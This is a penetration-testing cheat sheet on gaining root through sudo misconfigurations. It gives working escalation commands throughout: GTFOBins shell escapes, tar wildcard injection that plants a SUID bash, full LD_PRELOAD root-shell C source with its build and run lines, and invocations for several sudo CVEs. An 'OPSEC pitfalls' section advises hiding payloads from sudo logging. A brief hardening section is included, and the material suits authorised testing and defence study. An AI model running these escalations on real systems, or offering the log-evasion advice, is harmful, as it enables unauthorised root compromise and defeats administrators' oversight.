Sudo misconfiguration exploitation

Sudo misconfiguration exploitation

TL;DR: sudo -l is the first command on every Linux box. NOPASSWD entries, wildcard-bearing Cmnd_Aliases, SETENV, env_keep, and runas quirks (sudo -u#-1, runas_default) routinely give an unprivileged shell root. Modern sudo (>=1.9) added defaults that close the worst defaults, but most real fleets are still configured pre-1.9 and inherit the legacy footguns.

What it is

sudo reads /etc/sudoers and /etc/sudoers.d/* and grants a user the right to run specific commands as another user, optionally without re-entering a password. Misconfigurations come from three places: overly broad command matching (wildcards), keeping dangerous environment variables, and the runas-target field allowing unexpected UIDs. Combined with linux-suid-sgid-gtfobins entries under #+sudo, almost every common admin binary has a documented escape.

Preconditions / where it applies

  • Local shell on the box.
  • sudo installed and the current user appears in sudoers or in a group referenced by it.
  • For most exploits: NOPASSWD entry (you don’t know the password) OR the password (because the user re-uses it).

Tradecraft

Step 0 — Enumerate.

1
2
3
4
sudo -l                                       # canonical
sudo -ll                                      # verbose, shows env_keep / runas
cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null # if readable
getent group sudo wheel admin docker          # group membership

sudo -l -n runs non-interactively; if it errors with “a password is required,” you still see allowed commands (sudo 1.9+ prints User x is not allowed, fall back to reading sudoers).

Pattern 1 — NOPASSWD on a GTFOBins binary. Match against gtfobins.github.io/#+sudo. Each entry includes the exact sudo invocation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Allowed: vim
sudo vim -c ':!/bin/sh'

# Allowed: less
sudo less /etc/profile
!sh

# Allowed: man
sudo man id
!sh

# Allowed: apt / apt-get
sudo apt-get changelog apt
!sh

# Allowed: find (the classic)
sudo find / -name x -exec /bin/sh \;

# Allowed: python / perl / ruby
sudo python -c 'import os; os.execl("/bin/sh","sh","-p")'

Pattern 2 — Wildcard injection. sudoers allows * and ? matching. A line like:

1
user ALL=(root) NOPASSWD: /usr/bin/tar -czf /backup/*.tar.gz *

The trailing * lets you inject extra args. Tar supports --checkpoint-action=exec:

1
2
3
4
echo 'cp /bin/bash /tmp/x; chmod +s /tmp/x' > /tmp/.h
chmod +x /tmp/.h
cd /tmp
sudo tar -czf x.tar.gz . --checkpoint=1 --checkpoint-action=exec=sh\ /tmp/.h

Common wildcard victims: tar, rsync, find, chmod, chown, custom backup scripts.

Pattern 3 — env_keep + LD_PRELOAD. If Defaults env_keep += "LD_PRELOAD" (or env_reset is off), a malicious shared object loads with sudo’s privileges:

1
2
3
4
// pwn.c
#include <stdlib.h>
#include <unistd.h>
void _init(){ setuid(0); setgid(0); execve("/bin/sh", (char*[]){"/bin/sh","-p",NULL}, NULL); }
1
2
gcc -shared -fPIC -nostartfiles pwn.c -o /tmp/pwn.so
sudo LD_PRELOAD=/tmp/pwn.so apache2ctl restart

LD_LIBRARY_PATH works the same way if the target binary loads from a path you control.

Pattern 4 — runas ALL with -u#-1 (CVE-2019-14287). Pre-1.8.28 sudo, an entry like user ALL=(ALL,!root) /bin/bash was meant to allow running as any user except root. sudo -u#-1 bash casts -1 → 0xFFFFFFFF → … → 0 in older code, popping a root shell despite the exclusion. Try it on any legacy fleet.

Pattern 5 — sudoedit race (CVE-2023-22809). Setting EDITOR=vim -- /etc/passwd injects an extra file path; sudoedit happily opens both. Patched in 1.9.12p2 but still found in unpatched containers and embedded distros.

Pattern 6 — pwfeedback BoF (CVE-2019-18634). If pwfeedback is enabled in sudoers (asterisks during password entry), piping a long password triggers a stack overflow. Exploitable on sudo <1.8.31.

Pattern 7 — Baron Samedit (CVE-2021-3156). Heap overflow when sudo processes \<newline> in argv[0]. Reaches root without sudoers entry on patched-late distros.

1
2
3
# Detect
sudoedit -s '\' `python3 -c 'print("A"*1000)'`
# segfault = vulnerable

Detection and defence

  • auditd rules on execve with exe=/usr/bin/sudo and on edits to /etc/sudoers*.
  • Sudoers best practice: Defaults env_reset, Defaults secure_path, never include LD_* in env_keep. Use Cmnd_Alias with absolute paths, no wildcards.
  • Prefer per-binary setcap over NOPASSWD: ALL.
  • Patch sudo: 1.9.13+ closes the well-known CVEs. Most embedded and container images lag.
  • For wildcard control, use restricted_shell or wrap the allowed command in a script that hard-codes args.

OPSEC pitfalls

  • Sudo logs every invocation to /var/log/auth.log (Debian) or /var/log/secure (RHEL). The command and the resulting argv appear; don’t put plaintext payloads on the command line — pipe from a file or env var.
  • iolog_file (when enabled) records the full session terminal. Check with sudo -ll | grep -i iolog.
  • Some PAM stacks notify root on every successful sudo via mail or syslog forward.

References

See also: linux-suid-sgid-gtfobins, linux-capabilities-abuse, polkit-pkexec-privesc, pam-misconfig-privesc